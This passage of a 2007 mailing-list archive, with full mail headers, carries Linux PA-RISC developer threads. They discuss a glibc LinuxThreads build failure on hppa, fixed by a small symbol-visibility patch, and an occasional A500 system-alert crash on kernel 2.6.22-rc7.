 # define THREAD_GETMEM(descr, member) \

--CUfgB8w4ZwR/yMy5
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--CUfgB8w4ZwR/yMy5--



From - Thu Nov 08 21:36:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Tue, 10 Jul 2007 06:08:21 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <46930635.7040208__45338.1202686161$1416624410$gmane$org@aurel32.net>
References: <20070705142222.GA26105@frankengul.org>	<200707051518.l65FI56n006476@hiauly1.hia.nrc.ca> <5b2e36650707050824ud041452reb3c017d85b155dc@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624410 24713 80.91.229.3 (22 Nov 2014 02:46:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:50 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: Jeff Bailey <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jul 2007 04:08:45 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx001) with SMTP; 10 Jul 2007 06:08:45 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 8A4F72E541; Tue, 10 Jul 2007 04:09:38 +0000 (UTC)
Old-Return-Path: <aurelien@aurel32.net>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-2.7 required=4.0 tests=AWL,LDOSUBSCRIBER,
	MAILTO_TO_SPAM_ADDR autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from hall.aurel32.net (hall.aurel32.net [88.191.38.19])
	by murphy.debian.org (Postfix) with ESMTP id AF1D32E159
	for <debian-hppa@lists.debian.org>; Tue, 10 Jul 2007 04:09:32 +0000 (UTC)
Original-Received: from volta.aurel32.net ([2001:618:400:fc13:216:d3ff:fe17:fd00])
	by hall.aurel32.net with esmtpsa (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63)
	(envelope-from <aurelien@aurel32.net>)
	id 1I871b-0006by-Q2; Tue, 10 Jul 2007 06:08:31 +0200
Original-Received: from localhost.localdomain ([127.0.0.1] ident=aurel32)
	by volta.aurel32.net with esmtp (Exim 4.67)
	(envelope-from <aurelien@aurel32.net>)
	id 1I871R-0002Sg-Tq; Tue, 10 Jul 2007 06:08:21 +0200
User-Agent: IceDove 1.5.0.10 (X11/20070328)
In-Reply-To: <5b2e36650707050824ud041452reb3c017d85b155dc@mail.gmail.com>
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <m-Cr2D.A.3_G.CawkGB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5853
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue, 10 Jul 2007 04:09:38 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: dD6lD7srQEVtMujDZnVpoD9KNzg2NQIJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24707

Jeff Bailey a écrit :
> On 05/07/07, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
>>>> Could you do glibc builds with the gcc trunk before and after the change?
>>>> It's best to base the PR on an unmodified version of gcc.
>>> The test with the gcc-trunk (Main 4.3.0 head) shows the same error at the same place.
>> Ok, it would be useful to file a gcc PR to start.  However, it's not
>> clear that gcc is a fault.
>>
>> It may be that glibc isn't using the visibility attribute correctly
>> for this symbol (i.e., hiding a symbol that is externally referenced).
>> You could try building glibc with the attribute removed.  This might
>> be somewhat hppa specific because of the nptl issue.
> 
> As long as LinuxThreads isn't built, this problem doesn't come up.  It
> seems very likely that it's a glibc problem, then.  The Ubuntu builds
> are NPTL-only and don't show this problem.

NPTL does not use this symbol at all, that's why the problem does not
appear.

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Tue, 10 Jul 2007 06:11:09 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <469306DD.807__3306.61730045012$1416624410$gmane$org@aurel32.net>
References: <200707081504.l68F47s9007180@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624410 24717 80.91.229.3 (22 Nov 2014 02:46:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:50 +0000 (UTC)
Cc: jbailey@raspberryginger.com,
 debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jul 2007 04:11:30 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx029) with SMTP; 10 Jul 2007 06:11:30 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id BDC0B2DE75; Tue, 10 Jul 2007 04:12:23 +0000 (UTC)
Old-Return-Path: <aurelien@aurel32.net>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-3.2 required=4.0 tests=AWL,LDOSUBSCRIBER,
	MAILTO_TO_SPAM_ADDR autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from hall.aurel32.net (hall.aurel32.net [88.191.38.19])
	by murphy.debian.org (Postfix) with ESMTP id 01C3E2DDA1
	for <debian-hppa@lists.debian.org>; Tue, 10 Jul 2007 04:12:16 +0000 (UTC)
Original-Received: from volta.aurel32.net ([2001:618:400:fc13:216:d3ff:fe17:fd00])
	by hall.aurel32.net with esmtpsa (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63)
	(envelope-from <aurelien@aurel32.net>)
	id 1I874J-0006d2-CG; Tue, 10 Jul 2007 06:11:19 +0200
Original-Received: from localhost.localdomain ([127.0.0.1] ident=aurel32)
	by volta.aurel32.net with esmtp (Exim 4.67)
	(envelope-from <aurelien@aurel32.net>)
	id 1I8749-0002TL-GR; Tue, 10 Jul 2007 06:11:09 +0200
User-Agent: IceDove 1.5.0.10 (X11/20070328)
In-Reply-To: <200707081504.l68F47s9007180@hiauly1.hia.nrc.ca>
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <DjtNtD.A.SL.ncwkGB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5854
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue, 10 Jul 2007 04:12:23 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: xzSqfsVZYW0/ZLuGbmZpYRh0amthcxvS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24708

John David Anglin a crit :
>>>> On the other hand, the LinuxThreads build on other architectures are
>>>> still fine even with the latest gcc in Debian.
>>> Is the __librt_multiple_threads symbol defined, undefined or not
>>> used in librt.so?
>>>
>> On both hppa and m68k I get:
>> 00000000      DO *UND*  00000004  GLIBC_PRIVATE __librt_multiple_threads
> 
> So, it would seem m68k is also broken if the definition
> in libc-2.5.so is hidden.

Well it is not hidden on m68k and also not on hppa. The symbol is
defined the same way on both architectures in libc.so:

0013e328 g    DO .bss   00000004  GLIBC_PRIVATE __librt_multiple_threads



-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Tue, 10 Jul 2007 09:23:23 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <20070710072322.GA28527__35070.9815546454$1416624410$gmane$org@farad.aurel32.net>
References: <20070705142222.GA26105@frankengul.org> <200707051518.l65FI56n006476@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-15
X-Trace: ger.gmane.org 1416624410 24721 80.91.229.3 (22 Nov 2014 02:46:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:50 +0000 (UTC)
Cc: seb@frankengul.org,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org,
 libc-ports@sources.redhat.com,
 Carlos O'Donell <carlos@systemhalted.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jul 2007 07:23:47 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx095) with SMTP; 10 Jul 2007 09:23:47 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id EA03C2E4F9; Tue, 10 Jul 2007 07:24:40 +0000 (UTC)
Old-Return-Path: <aurel32@farad.aurel32.net>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=0.0 required=4.0 tests=AWL,IMPRONONCABLE_1,
	MAILTO_TO_SPAM_ADDR,MURPHY_DRUGS_REL8 autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from hall.aurel32.net (hall.aurel32.net [88.191.38.19])
	by murphy.debian.org (Postfix) with ESMTP id 474B72DDAD
	for <debian-hppa@lists.debian.org>; Tue, 10 Jul 2007 07:24:35 +0000 (UTC)
Original-Received: from [2001:618:400::52e8:2fb] (helo=farad.aurel32.net)
	by hall.aurel32.net with esmtpsa (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63)
	(envelope-from <aurel32@farad.aurel32.net>)
	id 1I8A4N-0000aT-P7; Tue, 10 Jul 2007 09:23:35 +0200
Original-Received: from aurel32 by farad.aurel32.net with local (Exim 4.63)
	(envelope-from <aurel32@farad.aurel32.net>)
	id 1I8A4B-0007Sd-V9; Tue, 10 Jul 2007 09:23:24 +0200
Content-Disposition: inline
In-Reply-To: <200707051518.l65FI56n006476@hiauly1.hia.nrc.ca>
X-Mailer: Mutt 1.5.13 (2006-08-11)
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <oter8.A.BAF.4QzkGB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5855
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue, 10 Jul 2007 07:24:40 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: NwOhd8BEIyd0IvqQe2dr1Spaa2FkZhWI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24709

On Thu, Jul 05, 2007 at 11:18:05AM -0400, John David Anglin wrote:
> > > Could you do glibc builds with the gcc trunk before and after the change?
> > > It's best to base the PR on an unmodified version of gcc.
> > 
> > The test with the gcc-trunk (Main 4.3.0 head) shows the same error at the same place.
> 
> Ok, it would be useful to file a gcc PR to start.  However, it's not
> clear that gcc is a fault.
> 
> It may be that glibc isn't using the visibility attribute correctly
> for this symbol (i.e., hiding a symbol that is externally referenced).


The patch below based on the m68k version of sysdep-cancel.h fixes the
problem.


2007-07-10  Aurelien Jarno  <aurelien@aurel32.net>

	* sysdeps/unix/sysv/linux/hppa/linuxthreads/sysdep-cancel.h:
	(__local_multiple_threads): Declare as hidden only in libc and
	in libpthread.

Index: ports/sysdeps/unix/sysv/linux/hppa/linuxthreads/sysdep-cancel.h 
===================================================================
--- ports/sysdeps/unix/sysv/linux/hppa/linuxthreads/sysdep-cancel.h.orig
+++ ports/sysdeps/unix/sysv/linux/hppa/linuxthreads/sysdep-cancel.h
@@ -206,7 +206,11 @@
 # endif
 
 # ifndef __ASSEMBLER__
- extern int __local_multiple_threads attribute_hidden;
+#  if !defined NOT_IN_libc || defined IS_IN_libpthread
+extern int __local_multiple_threads attribute_hidden;
+#  else
+extern int __local_multiple_threads;
+#  endif
 #  define SINGLE_THREAD_P __builtin_expect (__local_multiple_threads == 0, 1)
 # else
 /* This ALT version requires newer kernel support */

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Crashed on 2.6.22-rc7, Linus' tree
Date: Tue, 10 Jul 2007 09:01:02 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <5b2e36650707100601s50fc0c62k551d387bd755b3cd__46957.9322649681$1416624411$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624411 24723 80.91.229.3 (22 Nov 2014 02:46:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:51 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jul 2007 13:01:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx098) with SMTP; 10 Jul 2007 15:01:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C5C5A7DDBD;
	Tue, 10 Jul 2007 07:01:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23756-08; Tue, 10 Jul 2007 07:01:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 99EA57DDC0;
	Tue, 10 Jul 2007 07:01:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C33D7DDBB
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jul 2007 07:01:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24611-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jul 2007 07:01:03 -0600 (MDT)
Original-Received: from nz-out-0506.google.com (nz-out-0506.google.com [64.233.162.224])
	by free.linux.hp.com (Postfix) with ESMTP id 46CF67DDBA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jul 2007 07:01:03 -0600 (MDT)
Original-Received: by nz-out-0506.google.com with SMTP id j2so857102nzf
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jul 2007 06:01:02 -0700 (PDT)
Original-Received: by 10.115.91.2 with SMTP id t2mr4138620wal.1184072462188;
	Tue, 10 Jul 2007 06:01:02 -0700 (PDT)
Original-Received: by 10.114.103.10 with HTTP; Tue, 10 Jul 2007 06:01:02 -0700 (PDT)
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LbqgfsdYMmAobLSZZGFnEhgxMjQ1N92v
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24710

Heya!  I'm running 2.6.22-rc7 from Linus' tree, and I occasionally get
the system dying like this.  I'm mostly surprised by the complete lack
of information in the crash, is there anything I can do to ask it to
give more when it dies?

 * INIT: version 2.86 reloading

************* SYSTEM ALERT **************
SYSTEM NAME: a500-gsp
DATE: 07/10/2007 TIME: 07:23:03
ALERT LEVEL: 7 = reserved

REASON FOR ALERT
SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       ON         ON
LED State: There was a system interruption that did not take the system down.
Check Chassis and Console Logs for error messages.

0x0000007000FF6292 000000F0 F0000000 - type  0 = Data Field Unused
0x5800087000FF6292 00006B06 0A071703 - type 11 = Timestamp 07/10/2007 07:23:03
A: ack read of this entry - X: Disable all future alert messages
Anything else skip redisplay the log entry
->Choice:Timeout!
*****************************************


-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Crashed on 2.6.22-rc7, Linus' tree
Date: Tue, 10 Jul 2007 13:12:53 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <1184087573.3401.45.camel__36938.314283225$1416624411$gmane$org@localhost.localdomain>
References: <5b2e36650707100601s50fc0c62k551d387bd755b3cd@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624411 24726 80.91.229.3 (22 Nov 2014 02:46:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:51 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Jeff Bailey <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jul 2007 17:13:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 10 Jul 2007 19:13:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 28BA87DC33;
	Tue, 10 Jul 2007 11:13:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27309-04; Tue, 10 Jul 2007 11:13:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 00C5F7DC41;
	Tue, 10 Jul 2007 11:13:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDC737DC01
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jul 2007 11:12:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27275-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jul 2007 11:12:55 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 0FB507DBBD
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jul 2007 11:12:55 -0600 (MDT)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (Postfix) with ESMTP id ED9DBAAA822A;
	Tue, 10 Jul 2007 13:12:53 -0400 (EDT)
In-Reply-To: <5b2e36650707100601s50fc0c62k551d387bd755b3cd@mail.gmail.com>
X-Mailer: Evolution 2.10.2 (2.10.2-3.fc7) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GoygctBRX1VoOOuYY2FyQzt3SDc4NIwP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24711

On Tue, 2007-07-10 at 09:01 -0400, Jeff Bailey wrote:
> Heya!  I'm running 2.6.22-rc7 from Linus' tree, and I occasionally get
> the system dying like this.  I'm mostly surprised by the complete lack
> of information in the crash, is there anything I can do to ask it to
> give more when it dies?

A register dump with IAOQ and %r2 decoded to the kernel addresses might
(or might not) be helpful.  Given that the interrupt seems to be
advisory (not a machine check) you might have to TOC the box to get
this.  Although, unfortunately, I've seen this several times as the
symptom of A500 flakey HW.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Crashed on 2.6.22-rc7, Linus' tree
Date: Wed, 11 Jul 2007 18:21:51 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <20070712002151.GB26794__5731.79262360117$1416624411$gmane$org@colo.lackof.org>
References: <5b2e36650707100601s50fc0c62k551d387bd755b3cd@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624411 24728 80.91.229.3 (22 Nov 2014 02:46:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:51 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Jeff Bailey <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
